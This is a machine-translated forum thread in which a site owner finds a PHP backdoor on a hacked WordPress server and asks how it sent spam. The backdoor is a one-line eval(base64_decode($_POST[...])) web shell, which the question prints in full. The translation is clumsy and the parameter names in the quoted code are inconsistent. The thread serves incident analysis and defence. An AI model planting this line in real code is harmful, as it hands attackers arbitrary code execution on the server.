我的主机提供商最近暂停了我的网站,因为网站上有东西发送了大量的垃圾邮件。最初我和供应商认为,这是由于一个不安全的形式的电子邮件活动,我放在服务器上几天前。我从服务器上删除了带有表单的页面,但服务器仍在发送垃圾邮件。
我在服务器根目录的"css"文件夹中发现了一个名为7c32.php的php文件。我肯定没有成功。下面是文件中的代码:
<?php if(isset($_POST["codx65"])){eval(base64_decode($_POST["cox64e"]));}?>
通过在线解码器运行后,得出的结果如下:
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));
我读了一些关于恶意php文件的文章,发现eval(和base64_decode字符串非常可疑。我查看了服务器日志文件,看到了几个来自沙特阿拉伯ip地址的7c32.php文件的帖子查询。
我删除了php文件,更新了所有过时的wordpress主题和插件(以及平台本身),并将FTP服务器和wordpress管理帐户的密码更改为更安全的密码。
我还能做什么来确保我的服务器是安全的吗?我打算在服务器上的其他php文件中搜索这些base64和eval字符串,但除此之外,我没有主意了。
这个php脚本似乎太短了,不会造成任何损害,但是还有什么可以发送所有的垃圾邮件呢?
eval()
是一个非常危险的小语言结构,因为它几乎可以执行作为字符串传递给它的任何PHP代码,所以它当然可以是发送邮件的脚本,尽管发送垃圾邮件实际上是相当无损的,只要eval()
可以做。
如果你的页面有权删除你的web根目录下的每个文件,eval()
也可以做到这一点,只是有人通过POST向脚本发送正确的命令。
如果你真的想确保它是发送邮件的那段代码,把它放回去,但修改它对你有利。停止使用eval()
,而是将POST数据保存到数据库或文本文件中。只有这样,您才能确切地知道这些代码是用来做什么的。
这个php脚本似乎太短了,不会造成任何损害,但是还有什么可以发送所有的垃圾邮件呢?
你为什么认为这段代码太短而不能损坏?eval()
是最糟糕的代码eval()语言结构非常危险,因为它允许执行任意PHP代码。因此不鼓励使用它。如果您已经仔细验证了除了使用此结构之外没有其他选择,请特别注意不要在没有事先正确验证的情况下将任何用户提供的数据传递给它。
他们可以使用too short
代码执行任何PHP代码。Eval是邪恶的。不允许未经验证的文件上传权限
但是还有什么能发出那么多垃圾邮件呢?
同样是eval代码在发送电子邮件。他们向它发送电子邮件代码然后它依次执行并发送电子邮件